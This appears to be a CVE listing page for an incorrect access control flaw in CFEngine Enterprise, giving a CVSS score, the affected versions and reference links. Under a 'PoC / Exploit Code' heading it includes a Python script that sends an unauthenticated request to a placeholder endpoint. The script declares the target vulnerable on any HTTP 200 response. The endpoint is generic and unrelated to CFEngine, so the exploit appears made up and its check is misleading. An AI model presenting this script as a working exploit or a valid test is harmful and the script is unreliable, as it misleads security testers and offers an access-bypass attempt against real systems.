CVE-2026-24711

Description

Northern.tech CFEngine Enterprise before 3.21.8, 3.24.3, and 3.27.0 has Incorrect Access Control.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

CFEngine Enterprise < 3.21.8

CFEngine Enterprise < 3.24.3

CFEngine Enterprise < 3.27.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: CVE-2026-24711 PoC
# Description: Attempts to access a restricted endpoint without authentication

target_url = "http://<TARGET_IP>:<PORT>/api/endpoint/restricted_data"

try:
    # Send request without authentication headers
    response = requests.get(target_url, timeout=10)
    
    if response.status_code == 200:
        print("[+] Vulnerability Confirmed! Access control bypass successful.")
        print("[+] Response:", response.text[:200])
    else:
        print(f"[-] Target may not be vulnerable. Status code: {response.status_code}")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24711
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24711
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24711/
[4] VulDB https://vuldb.com/cve/CVE-2026-24711
[5] https://cfengine.com/blog/2026/cve-2026-24710-and-cve-2026-24711-and-cve-2026-24712/
[6] https://northern.tech

Raw JSON Data

JSON

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